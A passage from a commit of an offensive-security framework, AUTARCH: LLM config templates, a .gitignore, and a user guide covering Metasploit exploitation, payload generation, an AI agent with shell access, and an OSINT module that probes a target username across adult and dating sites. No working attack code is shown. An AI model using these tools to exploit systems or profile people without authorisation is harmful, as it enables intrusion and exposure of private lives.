Initial public release — AUTARCH v1.0.0
Full security platform with web dashboard, 16 Flask blueprints, 26 modules, autonomous AI agent, WebUSB hardware support, and Archon Android companion app. Includes Hash Toolkit, debug console, anti-stalkerware shield, Metasploit/RouterSploit integration, WireGuard VPN, OSINT reconnaissance, and multi-backend LLM support. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
commit
ffe47c51b5
46
.config/amd_rx6700xt.conf
Normal file
46
.config/amd_rx6700xt.conf
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
# AUTARCH LLM Configuration Template
|
||||||
|
# Hardware: AMD Radeon RX 6700 XT (12GB VRAM)
|
||||||
|
# Optimized for: GPU inference with ROCm/HIP support
|
||||||
|
#
|
||||||
|
# This configuration is optimized for AMD GPUs using ROCm.
|
||||||
|
# The RX 6700 XT has 12GB VRAM, excellent for 7B-13B models.
|
||||||
|
# Requires ROCm drivers and PyTorch with ROCm support.
|
||||||
|
|
||||||
|
[llama]
|
||||||
|
# GGUF Model Settings (llama.cpp)
|
||||||
|
# Note: llama.cpp requires HIP/ROCm build for AMD GPU support
|
||||||
|
# Build with: CMAKE_ARGS="-DLLAMA_HIPBLAS=on" pip install llama-cpp-python
|
||||||
|
model_path =
|
||||||
|
n_ctx = 8192
|
||||||
|
n_threads = 8
|
||||||
|
n_gpu_layers = -1
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 4096
|
||||||
|
seed = -1
|
||||||
|
|
||||||
|
[transformers]
|
||||||
|
# SafeTensors Model Settings (HuggingFace)
|
||||||
|
# ROCm uses 'cuda' device identifier in PyTorch
|
||||||
|
model_path =
|
||||||
|
device = cuda
|
||||||
|
torch_dtype = float16
|
||||||
|
load_in_8bit = false
|
||||||
|
load_in_4bit = false
|
||||||
|
trust_remote_code = false
|
||||||
|
max_tokens = 4096
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repetition_penalty = 1.1
|
||||||
|
|
||||||
|
# Notes:
|
||||||
|
# - 12GB VRAM allows running 13B models at float16
|
||||||
|
# - For 33B+ models, enable load_in_4bit = true
|
||||||
|
# - ROCm support requires specific PyTorch version:
|
||||||
|
# pip install torch --index-url https://download.pytorch.org/whl/rocm5.6
|
||||||
|
# - llama.cpp needs HIP build for GPU acceleration
|
||||||
|
# - If GPU not detected, falls back to CPU (check ROCm installation)
|
||||||
|
# - n_ctx = 8192 works well with 12GB VRAM
|
||||||
41
.config/nvidia_4070_mobile.conf
Normal file
41
.config/nvidia_4070_mobile.conf
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
# AUTARCH LLM Configuration Template
|
||||||
|
# Hardware: NVIDIA GeForce RTX 4070 Mobile (8GB VRAM)
|
||||||
|
# Optimized for: GPU inference with good VRAM management
|
||||||
|
#
|
||||||
|
# This configuration balances performance and memory usage for mobile RTX 4070.
|
||||||
|
# The 4070 Mobile has 8GB VRAM, suitable for 7B models at full precision
|
||||||
|
# or 13B models with quantization.
|
||||||
|
|
||||||
|
[llama]
|
||||||
|
# GGUF Model Settings (llama.cpp)
|
||||||
|
model_path =
|
||||||
|
n_ctx = 8192
|
||||||
|
n_threads = 8
|
||||||
|
n_gpu_layers = -1
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 4096
|
||||||
|
seed = -1
|
||||||
|
|
||||||
|
[transformers]
|
||||||
|
# SafeTensors Model Settings (HuggingFace)
|
||||||
|
model_path =
|
||||||
|
device = cuda
|
||||||
|
torch_dtype = float16
|
||||||
|
load_in_8bit = false
|
||||||
|
load_in_4bit = false
|
||||||
|
trust_remote_code = false
|
||||||
|
max_tokens = 4096
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repetition_penalty = 1.1
|
||||||
|
|
||||||
|
# Notes:
|
||||||
|
# - n_gpu_layers = -1 offloads all layers to GPU
|
||||||
|
# - For 13B+ models, enable load_in_4bit = true
|
||||||
|
# - float16 is optimal for RTX 4070
|
||||||
|
# - n_ctx = 8192 uses ~2GB VRAM overhead
|
||||||
|
# - Reduce n_ctx to 4096 if running out of VRAM
|
||||||
46
.config/orangepi5plus_cpu.conf
Normal file
46
.config/orangepi5plus_cpu.conf
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
# AUTARCH LLM Configuration Template
|
||||||
|
# Hardware: Orange Pi 5 Plus (RK3588 SoC, 8-core ARM, 16GB RAM)
|
||||||
|
# Optimized for: CPU-only inference on ARM64
|
||||||
|
#
|
||||||
|
# This configuration is optimized for the Orange Pi 5 Plus running
|
||||||
|
# CPU-only inference. The RK3588 has 4x Cortex-A76 + 4x Cortex-A55 cores.
|
||||||
|
# Best with quantized GGUF models (Q4_K_M or Q5_K_M).
|
||||||
|
|
||||||
|
[llama]
|
||||||
|
# GGUF Model Settings (llama.cpp)
|
||||||
|
# Recommended: Use Q4_K_M or Q5_K_M quantized models
|
||||||
|
model_path =
|
||||||
|
n_ctx = 2048
|
||||||
|
n_threads = 4
|
||||||
|
n_gpu_layers = 0
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 1024
|
||||||
|
seed = -1
|
||||||
|
|
||||||
|
[transformers]
|
||||||
|
# SafeTensors Model Settings (HuggingFace)
|
||||||
|
# Note: CPU inference is slow with transformers, GGUF recommended
|
||||||
|
model_path =
|
||||||
|
device = cpu
|
||||||
|
torch_dtype = float32
|
||||||
|
load_in_8bit = false
|
||||||
|
load_in_4bit = false
|
||||||
|
trust_remote_code = false
|
||||||
|
max_tokens = 1024
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repetition_penalty = 1.1
|
||||||
|
|
||||||
|
# Notes:
|
||||||
|
# - n_threads = 4 uses only the fast A76 cores (better perf than all 8)
|
||||||
|
# - n_ctx = 2048 balances memory usage and capability
|
||||||
|
# - n_gpu_layers = 0 for pure CPU inference
|
||||||
|
# - Strongly recommend GGUF Q4_K_M models for best speed
|
||||||
|
# - 7B Q4 models use ~4GB RAM, leaving room for system
|
||||||
|
# - max_tokens = 1024 keeps generation times reasonable
|
||||||
|
# - For transformers: CPU with float32 is slow but works
|
||||||
|
# - Avoid 13B+ models unless heavily quantized
|
||||||
67
.config/orangepi5plus_mali.conf
Normal file
67
.config/orangepi5plus_mali.conf
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
# AUTARCH LLM Configuration Template
|
||||||
|
# Hardware: Orange Pi 5 Plus with ARM Mali-G610 MP4 GPU
|
||||||
|
# Status: EXPERIMENTAL - Mali GPU support for LLMs is limited
|
||||||
|
#
|
||||||
|
# WARNING: This configuration is experimental!
|
||||||
|
# The Mali-G610 GPU has limited LLM support. Most frameworks
|
||||||
|
# fall back to CPU. This config attempts to leverage what GPU
|
||||||
|
# acceleration is available.
|
||||||
|
|
||||||
|
[llama]
|
||||||
|
# GGUF Model Settings (llama.cpp)
|
||||||
|
# Note: llama.cpp OpenCL backend may provide some acceleration
|
||||||
|
# Build with: CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python
|
||||||
|
# Requires: libclblast-dev, opencl-headers, ocl-icd-opencl-dev
|
||||||
|
model_path =
|
||||||
|
n_ctx = 2048
|
||||||
|
n_threads = 4
|
||||||
|
n_gpu_layers = 8
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 1024
|
||||||
|
seed = -1
|
||||||
|
|
||||||
|
[transformers]
|
||||||
|
# SafeTensors Model Settings (HuggingFace)
|
||||||
|
# Note: PyTorch has experimental Vulkan backend for mobile GPUs
|
||||||
|
# This is highly experimental and may not work
|
||||||
|
model_path =
|
||||||
|
device = cpu
|
||||||
|
torch_dtype = float32
|
||||||
|
load_in_8bit = false
|
||||||
|
load_in_4bit = true
|
||||||
|
trust_remote_code = false
|
||||||
|
max_tokens = 1024
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repetition_penalty = 1.1
|
||||||
|
|
||||||
|
# EXPERIMENTAL NOTES:
|
||||||
|
#
|
||||||
|
# Mali-G610 GPU Support Status:
|
||||||
|
# - OpenCL: Partial support via CLBlast, may accelerate some layers
|
||||||
|
# - Vulkan: PyTorch vulkan backend is experimental
|
||||||
|
# - Direct Mali: No native support in major LLM frameworks
|
||||||
|
#
|
||||||
|
# To enable OpenCL acceleration for llama.cpp:
|
||||||
|
# 1. Install dependencies:
|
||||||
|
# sudo apt install libclblast-dev opencl-headers ocl-icd-opencl-dev
|
||||||
|
# 2. Install Mali OpenCL driver (if available for your distro)
|
||||||
|
# 3. Rebuild llama-cpp-python with CLBlast:
|
||||||
|
# CMAKE_ARGS="-DLLAMA_CLBLAST=on" pip install llama-cpp-python --force-reinstall
|
||||||
|
#
|
||||||
|
# n_gpu_layers = 8: Offloads only some layers (conservative)
|
||||||
|
# - Increase if stable, decrease if crashes
|
||||||
|
# - Set to 0 if OpenCL not working
|
||||||
|
#
|
||||||
|
# For transformers:
|
||||||
|
# - load_in_4bit = true reduces memory pressure
|
||||||
|
# - CPU inference is the reliable fallback
|
||||||
|
#
|
||||||
|
# Performance Expectations:
|
||||||
|
# - Best case: 20-30% speedup over pure CPU
|
||||||
|
# - Likely case: Similar to CPU or unstable
|
||||||
|
# - Use orangepi5plus_cpu.conf for stable operation
|
||||||
78
.gitignore
vendored
Normal file
78
.gitignore
vendored
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
*.so
|
||||||
|
*.egg-info/
|
||||||
|
*.egg
|
||||||
|
|
||||||
|
# Virtual environments
|
||||||
|
venv/
|
||||||
|
.venv/
|
||||||
|
env/
|
||||||
|
|
||||||
|
# IDE
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
|
|
||||||
|
# Data & databases (regenerated at runtime)
|
||||||
|
data/cve/*.db
|
||||||
|
data/sites/*.db
|
||||||
|
data/uploads/
|
||||||
|
data/hardware/
|
||||||
|
|
||||||
|
# Large files
|
||||||
|
models/
|
||||||
|
*.gguf
|
||||||
|
claude.bk
|
||||||
|
*.mtf
|
||||||
|
|
||||||
|
# Results (user-generated)
|
||||||
|
results/
|
||||||
|
dossiers/
|
||||||
|
|
||||||
|
# OSINT scan results
|
||||||
|
*_profiles.json
|
||||||
|
|
||||||
|
# Secrets & config with credentials
|
||||||
|
.env
|
||||||
|
*.pem
|
||||||
|
*.key
|
||||||
|
|
||||||
|
# Node
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Gradle
|
||||||
|
.gradle/
|
||||||
|
gradle-*/
|
||||||
|
|
||||||
|
# Bundled tools (large binaries)
|
||||||
|
tools/
|
||||||
|
|
||||||
|
# Android SDK tools (bundled binaries)
|
||||||
|
android/
|
||||||
|
|
||||||
|
# Build artifacts
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
build_temp/
|
||||||
|
*.spec.bak
|
||||||
|
|
||||||
|
# OS files
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Claude Code
|
||||||
|
.claude/
|
||||||
|
|
||||||
|
# Snoop data
|
||||||
|
snoop/
|
||||||
|
data/sites/snoop_full.json
|
||||||
|
|
||||||
|
# Custom user data (optional - users may want to track these)
|
||||||
|
# custom_adultsites.json
|
||||||
|
# custom_sites.inf
|
||||||
|
# custom_apis.json
|
||||||
9
CLAUDE.md
Normal file
9
CLAUDE.md
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
# AUTARCH — Claude Code Instructions
|
||||||
|
|
||||||
|
## Required Reading
|
||||||
|
|
||||||
|
Before starting any task, read these files for project context, history, and current status:
|
||||||
|
|
||||||
|
- **DEVLOG.md** — Development log with implementation details and decisions
|
||||||
|
- **devjournal.md** — Development journal with notes and progress tracking
|
||||||
|
- **master_plan.md** — Master plan with project goals and roadmap
|
||||||
588
GUIDE.md
Normal file
588
GUIDE.md
Normal file
@ -0,0 +1,588 @@
|
|||||||
|
# AUTARCH User Guide
|
||||||
|
|
||||||
|
## Project Overview
|
||||||
|
|
||||||
|
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
|
||||||
|
|
||||||
|
### What We Built
|
||||||
|
|
||||||
|
AUTARCH is a modular Python security framework featuring:
|
||||||
|
|
||||||
|
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
|
||||||
|
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
|
||||||
|
- **Metasploit Integration** - Direct MSF RPC control from within the framework
|
||||||
|
- **Modular Architecture** - Plugin-based system for easy extension
|
||||||
|
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
dh_framework/
|
||||||
|
├── autarch.py # Main entry point
|
||||||
|
├── autarch_settings.conf # Configuration file
|
||||||
|
├── custom_adultsites.json # Custom adult sites storage
|
||||||
|
├── custom_sites.inf # Bulk import file
|
||||||
|
├── DEVLOG.md # Development log
|
||||||
|
├── GUIDE.md # This guide
|
||||||
|
│
|
||||||
|
├── core/ # Core framework modules
|
||||||
|
│ ├── __init__.py
|
||||||
|
│ ├── agent.py # Autonomous AI agent
|
||||||
|
│ ├── banner.py # ASCII banner and colors
|
||||||
|
│ ├── config.py # Configuration handler
|
||||||
|
│ ├── llm.py # LLM wrapper (llama-cpp-python)
|
||||||
|
│ ├── menu.py # Main menu system
|
||||||
|
│ ├── msf.py # Metasploit RPC client
|
||||||
|
│ └── tools.py # Agent tool registry
|
||||||
|
│
|
||||||
|
└── modules/ # User-facing modules
|
||||||
|
├── __init__.py
|
||||||
|
├── setup.py # First-time setup wizard
|
||||||
|
├── chat.py # Interactive LLM chat (core)
|
||||||
|
├── agent.py # Agent interface (core)
|
||||||
|
├── msf.py # Metasploit interface (offense)
|
||||||
|
├── defender.py # System hardening (defense)
|
||||||
|
├── counter.py # Threat detection (counter)
|
||||||
|
├── analyze.py # Forensics tools (analyze)
|
||||||
|
├── recon.py # OSINT reconnaissance (osint)
|
||||||
|
├── adultscan.py # Adult site scanner (osint)
|
||||||
|
└── simulate.py # Attack simulation (simulate)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Installation & Setup
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
|
||||||
|
- Python 3.8+
|
||||||
|
- llama-cpp-python (pre-installed)
|
||||||
|
- A GGUF model file for LLM features
|
||||||
|
- Metasploit Framework (optional, for MSF features)
|
||||||
|
|
||||||
|
### First Run
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /home/snake/dh_framework
|
||||||
|
python autarch.py
|
||||||
|
```
|
||||||
|
|
||||||
|
On first run, the setup wizard automatically launches with options:
|
||||||
|
1. **Configure LLM** - Set up model for chat & agent features
|
||||||
|
2. **Skip Setup** - Use without LLM (most modules still work)
|
||||||
|
|
||||||
|
### Running Without LLM
|
||||||
|
|
||||||
|
Many modules work without an LLM configured:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Skip setup on first run
|
||||||
|
python autarch.py --skip-setup
|
||||||
|
```
|
||||||
|
|
||||||
|
**Modules that work without LLM:**
|
||||||
|
- defender (Defense) - System hardening checks
|
||||||
|
- counter (Counter) - Threat detection
|
||||||
|
- analyze (Analyze) - File forensics
|
||||||
|
- recon (OSINT) - Email, username, domain lookup
|
||||||
|
- adultscan (OSINT) - Adult site scanner
|
||||||
|
- simulate (Simulate) - Port scan, payloads
|
||||||
|
- msf (Offense) - Metasploit interface
|
||||||
|
|
||||||
|
**Modules that require LLM:**
|
||||||
|
- chat - Interactive LLM chat
|
||||||
|
- agent - Autonomous AI agent
|
||||||
|
|
||||||
|
You can configure LLM later with `python autarch.py --setup`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Command Line Interface
|
||||||
|
|
||||||
|
### Basic Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python autarch.py [OPTIONS] [COMMAND]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Options
|
||||||
|
|
||||||
|
| Option | Description |
|
||||||
|
|--------|-------------|
|
||||||
|
| `-h, --help` | Show help message and exit |
|
||||||
|
| `-v, --version` | Show version information |
|
||||||
|
| `-c, --config FILE` | Use alternate config file |
|
||||||
|
| `--skip-setup` | Skip first-time setup (run without LLM) |
|
||||||
|
| `-m, --module NAME` | Run a specific module directly |
|
||||||
|
| `-l, --list` | List all available modules |
|
||||||
|
| `--setup` | Force run the setup wizard |
|
||||||
|
| `--no-banner` | Suppress the ASCII banner |
|
||||||
|
| `-q, --quiet` | Minimal output mode |
|
||||||
|
|
||||||
|
### Commands
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `chat` | Start interactive LLM chat |
|
||||||
|
| `agent` | Start the autonomous agent |
|
||||||
|
| `scan <target>` | Quick port scan |
|
||||||
|
| `osint <username>` | Quick username OSINT |
|
||||||
|
|
||||||
|
### Examples
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Show help
|
||||||
|
python autarch.py --help
|
||||||
|
|
||||||
|
# Run a specific module
|
||||||
|
python autarch.py -m chat
|
||||||
|
python autarch.py -m adultscan
|
||||||
|
|
||||||
|
# List all modules
|
||||||
|
python autarch.py --list
|
||||||
|
|
||||||
|
# Quick OSINT scan
|
||||||
|
python autarch.py osint targetuser
|
||||||
|
|
||||||
|
# Re-run setup
|
||||||
|
python autarch.py --setup
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Main Menu Navigation
|
||||||
|
|
||||||
|
### Menu Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
Main Menu
|
||||||
|
──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
[1] Defense - Defensive security tools
|
||||||
|
[2] Offense - Penetration testing
|
||||||
|
[3] Counter - Counter-intelligence
|
||||||
|
[4] Analyze - Analysis & forensics
|
||||||
|
[5] OSINT - Open source intelligence
|
||||||
|
[6] Simulate - Attack simulation
|
||||||
|
|
||||||
|
[99] Settings
|
||||||
|
[98] Exit
|
||||||
|
```
|
||||||
|
|
||||||
|
### Category Details
|
||||||
|
|
||||||
|
#### [1] Defense
|
||||||
|
System hardening and defensive security:
|
||||||
|
- Full Security Audit
|
||||||
|
- Firewall Check
|
||||||
|
- SSH Hardening
|
||||||
|
- Open Ports Scan
|
||||||
|
- User Security Check
|
||||||
|
- File Permissions Audit
|
||||||
|
- Service Audit
|
||||||
|
|
||||||
|
#### [2] Offense
|
||||||
|
Penetration testing with Metasploit:
|
||||||
|
- Search Modules
|
||||||
|
- Use/Configure Modules
|
||||||
|
- Run Exploits
|
||||||
|
- Manage Sessions
|
||||||
|
- Console Commands
|
||||||
|
- Quick Scanners
|
||||||
|
|
||||||
|
#### [3] Counter
|
||||||
|
Counter-intelligence and threat hunting:
|
||||||
|
- Full Threat Scan
|
||||||
|
- Suspicious Process Detection
|
||||||
|
- Network Analysis
|
||||||
|
- Login Anomalies
|
||||||
|
- File Integrity Monitoring
|
||||||
|
- Scheduled Task Audit
|
||||||
|
- Rootkit Detection
|
||||||
|
|
||||||
|
#### [4] Analyze
|
||||||
|
Forensics and file analysis:
|
||||||
|
- File Analysis (metadata, hashes, type)
|
||||||
|
- String Extraction
|
||||||
|
- Hash Lookup (VirusTotal, Hybrid Analysis)
|
||||||
|
- Log Analysis
|
||||||
|
- Hex Dump Viewer
|
||||||
|
- File Comparison
|
||||||
|
|
||||||
|
#### [5] OSINT
|
||||||
|
Open source intelligence gathering:
|
||||||
|
- **recon.py** - Email, username, phone, domain, IP lookup
|
||||||
|
- **adultscan.py** - Adult site username scanner
|
||||||
|
|
||||||
|
#### [6] Simulate
|
||||||
|
Attack simulation and red team:
|
||||||
|
- Password Audit
|
||||||
|
- Port Scanner
|
||||||
|
- Banner Grabber
|
||||||
|
- Payload Generator (XSS, SQLi, etc.)
|
||||||
|
- Network Stress Test
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Module Reference
|
||||||
|
|
||||||
|
### Core Modules
|
||||||
|
|
||||||
|
#### chat.py - Interactive Chat
|
||||||
|
```
|
||||||
|
Category: core
|
||||||
|
Commands:
|
||||||
|
/help - Show available commands
|
||||||
|
/clear - Clear conversation history
|
||||||
|
/history - Show conversation history
|
||||||
|
/info - Show model information
|
||||||
|
/system - Set system prompt
|
||||||
|
/temp - Set temperature
|
||||||
|
/tokens - Set max tokens
|
||||||
|
/stream - Toggle streaming
|
||||||
|
/exit - Exit chat
|
||||||
|
```
|
||||||
|
|
||||||
|
#### agent.py - Autonomous Agent
|
||||||
|
```
|
||||||
|
Category: core
|
||||||
|
Commands:
|
||||||
|
tools - Show available tools
|
||||||
|
exit - Return to main menu
|
||||||
|
help - Show help
|
||||||
|
|
||||||
|
Available Tools:
|
||||||
|
shell - Execute shell commands
|
||||||
|
read_file - Read file contents
|
||||||
|
write_file - Write to files
|
||||||
|
list_dir - List directory contents
|
||||||
|
search_files - Glob pattern search
|
||||||
|
search_content - Content search (grep)
|
||||||
|
task_complete - Signal completion
|
||||||
|
ask_user - Request user input
|
||||||
|
msf_* - Metasploit tools
|
||||||
|
```
|
||||||
|
|
||||||
|
### OSINT Modules
|
||||||
|
|
||||||
|
#### recon.py - OSINT Reconnaissance
|
||||||
|
```
|
||||||
|
Category: osint
|
||||||
|
Version: 2.0
|
||||||
|
|
||||||
|
Menu:
|
||||||
|
Email
|
||||||
|
[1] Email Lookup
|
||||||
|
[2] Email Permutator
|
||||||
|
|
||||||
|
Username
|
||||||
|
[3] Username Lookup (17+ platforms)
|
||||||
|
[4] Social Analyzer integration
|
||||||
|
|
||||||
|
Phone
|
||||||
|
[5] Phone Number Lookup
|
||||||
|
|
||||||
|
Domain/IP
|
||||||
|
[6] Domain Recon
|
||||||
|
[7] IP Address Lookup
|
||||||
|
[8] Subdomain Enumeration
|
||||||
|
[9] Technology Detection
|
||||||
|
```
|
||||||
|
|
||||||
|
#### adultscan.py - Adult Site Scanner
|
||||||
|
```
|
||||||
|
Category: osint
|
||||||
|
Version: 1.3
|
||||||
|
|
||||||
|
Menu:
|
||||||
|
Scan Categories:
|
||||||
|
[1] Full Scan (all categories)
|
||||||
|
[2] Fanfiction & Story Sites
|
||||||
|
[3] Art & Creative Sites
|
||||||
|
[4] Video & Streaming Sites
|
||||||
|
[5] Forums & Communities
|
||||||
|
[6] Dating & Social Sites
|
||||||
|
[7] Gaming Related Sites
|
||||||
|
[8] Custom Sites Only
|
||||||
|
[9] Custom Category Selection
|
||||||
|
|
||||||
|
Site Management:
|
||||||
|
[A] Add Custom Site (manual)
|
||||||
|
[D] Auto-Detect Site Pattern
|
||||||
|
[B] Bulk Import from File
|
||||||
|
[M] Manage Custom Sites
|
||||||
|
[L] List All Sites
|
||||||
|
|
||||||
|
Sites Database: 50+ built-in sites
|
||||||
|
Categories: fanfiction, art, video, forums, dating, gaming, custom
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Adding Custom Sites
|
||||||
|
|
||||||
|
**Manual Add [A]:**
|
||||||
|
```
|
||||||
|
Site name: MySite
|
||||||
|
URL pattern (use * for username): mysite.com/user/*
|
||||||
|
Detection Method: [1] Status code
|
||||||
|
```
|
||||||
|
|
||||||
|
**Auto-Detect [D]:**
|
||||||
|
```
|
||||||
|
Domain: example.com
|
||||||
|
Test username: knownuser
|
||||||
|
(System probes 17 common patterns)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Bulk Import [B]:**
|
||||||
|
|
||||||
|
1. Edit `custom_sites.inf`:
|
||||||
|
```
|
||||||
|
# One domain per line
|
||||||
|
site1.com
|
||||||
|
site2.net
|
||||||
|
site3.org
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Run Bulk Import and provide test username
|
||||||
|
3. System auto-detects patterns for each domain
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
### Config File: autarch_settings.conf
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[llama]
|
||||||
|
model_path = /path/to/model.gguf
|
||||||
|
n_ctx = 4096
|
||||||
|
n_threads = 4
|
||||||
|
n_gpu_layers = 0
|
||||||
|
temperature = 0.7
|
||||||
|
top_p = 0.9
|
||||||
|
top_k = 40
|
||||||
|
repeat_penalty = 1.1
|
||||||
|
max_tokens = 2048
|
||||||
|
seed = -1
|
||||||
|
|
||||||
|
[autarch]
|
||||||
|
first_run = false
|
||||||
|
modules_path = modules
|
||||||
|
verbose = false
|
||||||
|
|
||||||
|
[msf]
|
||||||
|
host = 127.0.0.1
|
||||||
|
port = 55553
|
||||||
|
username = msf
|
||||||
|
password =
|
||||||
|
ssl = true
|
||||||
|
```
|
||||||
|
|
||||||
|
### LLM Settings
|
||||||
|
|
||||||
|
| Setting | Default | Description |
|
||||||
|
|---------|---------|-------------|
|
||||||
|
| model_path | (required) | Path to GGUF model file |
|
||||||
|
| n_ctx | 4096 | Context window size |
|
||||||
|
| n_threads | 4 | CPU threads for inference |
|
||||||
|
| n_gpu_layers | 0 | Layers to offload to GPU |
|
||||||
|
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
|
||||||
|
| top_p | 0.9 | Nucleus sampling threshold |
|
||||||
|
| top_k | 40 | Top-K sampling |
|
||||||
|
| repeat_penalty | 1.1 | Repetition penalty |
|
||||||
|
| max_tokens | 2048 | Maximum response length |
|
||||||
|
| seed | -1 | Random seed (-1 = random) |
|
||||||
|
|
||||||
|
### Metasploit Settings
|
||||||
|
|
||||||
|
| Setting | Default | Description |
|
||||||
|
|---------|---------|-------------|
|
||||||
|
| host | 127.0.0.1 | MSF RPC host |
|
||||||
|
| port | 55553 | MSF RPC port |
|
||||||
|
| username | msf | RPC username |
|
||||||
|
| password | (none) | RPC password |
|
||||||
|
| ssl | true | Use SSL connection |
|
||||||
|
|
||||||
|
**Starting msfrpcd:**
|
||||||
|
```bash
|
||||||
|
msfrpcd -P yourpassword -S -a 127.0.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Creating Custom Modules
|
||||||
|
|
||||||
|
### Module Template
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""
|
||||||
|
Module description here
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Module metadata (required)
|
||||||
|
DESCRIPTION = "Short description"
|
||||||
|
AUTHOR = "Your Name"
|
||||||
|
VERSION = "1.0"
|
||||||
|
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||||
|
from core.banner import Colors, clear_screen, display_banner
|
||||||
|
|
||||||
|
|
||||||
|
def run():
|
||||||
|
"""Main entry point - REQUIRED"""
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
|
|
||||||
|
print(f"{Colors.BOLD}My Module{Colors.RESET}")
|
||||||
|
# Your code here
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
run()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Available Colors
|
||||||
|
|
||||||
|
```python
|
||||||
|
from core.banner import Colors
|
||||||
|
|
||||||
|
Colors.RED
|
||||||
|
Colors.GREEN
|
||||||
|
Colors.YELLOW
|
||||||
|
Colors.BLUE
|
||||||
|
Colors.MAGENTA
|
||||||
|
Colors.CYAN
|
||||||
|
Colors.WHITE
|
||||||
|
Colors.BOLD
|
||||||
|
Colors.DIM
|
||||||
|
Colors.RESET
|
||||||
|
```
|
||||||
|
|
||||||
|
### Module Categories
|
||||||
|
|
||||||
|
| Category | Color | Description |
|
||||||
|
|----------|-------|-------------|
|
||||||
|
| defense | Blue | Defensive security |
|
||||||
|
| offense | Red | Penetration testing |
|
||||||
|
| counter | Magenta | Counter-intelligence |
|
||||||
|
| analyze | Cyan | Forensics & analysis |
|
||||||
|
| osint | Green | Open source intelligence |
|
||||||
|
| simulate | Yellow | Attack simulation |
|
||||||
|
| core | White | Core framework modules |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Agent Tools Reference
|
||||||
|
|
||||||
|
The autonomous agent has access to these tools:
|
||||||
|
|
||||||
|
### File Operations
|
||||||
|
```
|
||||||
|
read_file(path) - Read file contents
|
||||||
|
write_file(path, content) - Write to file
|
||||||
|
list_dir(path) - List directory
|
||||||
|
search_files(pattern) - Glob search
|
||||||
|
search_content(pattern) - Grep search
|
||||||
|
```
|
||||||
|
|
||||||
|
### System Operations
|
||||||
|
```
|
||||||
|
shell(command, timeout) - Execute shell command
|
||||||
|
```
|
||||||
|
|
||||||
|
### User Interaction
|
||||||
|
```
|
||||||
|
ask_user(question) - Prompt user for input
|
||||||
|
task_complete(result) - Signal task completion
|
||||||
|
```
|
||||||
|
|
||||||
|
### Metasploit Operations
|
||||||
|
```
|
||||||
|
msf_connect() - Connect to MSF RPC
|
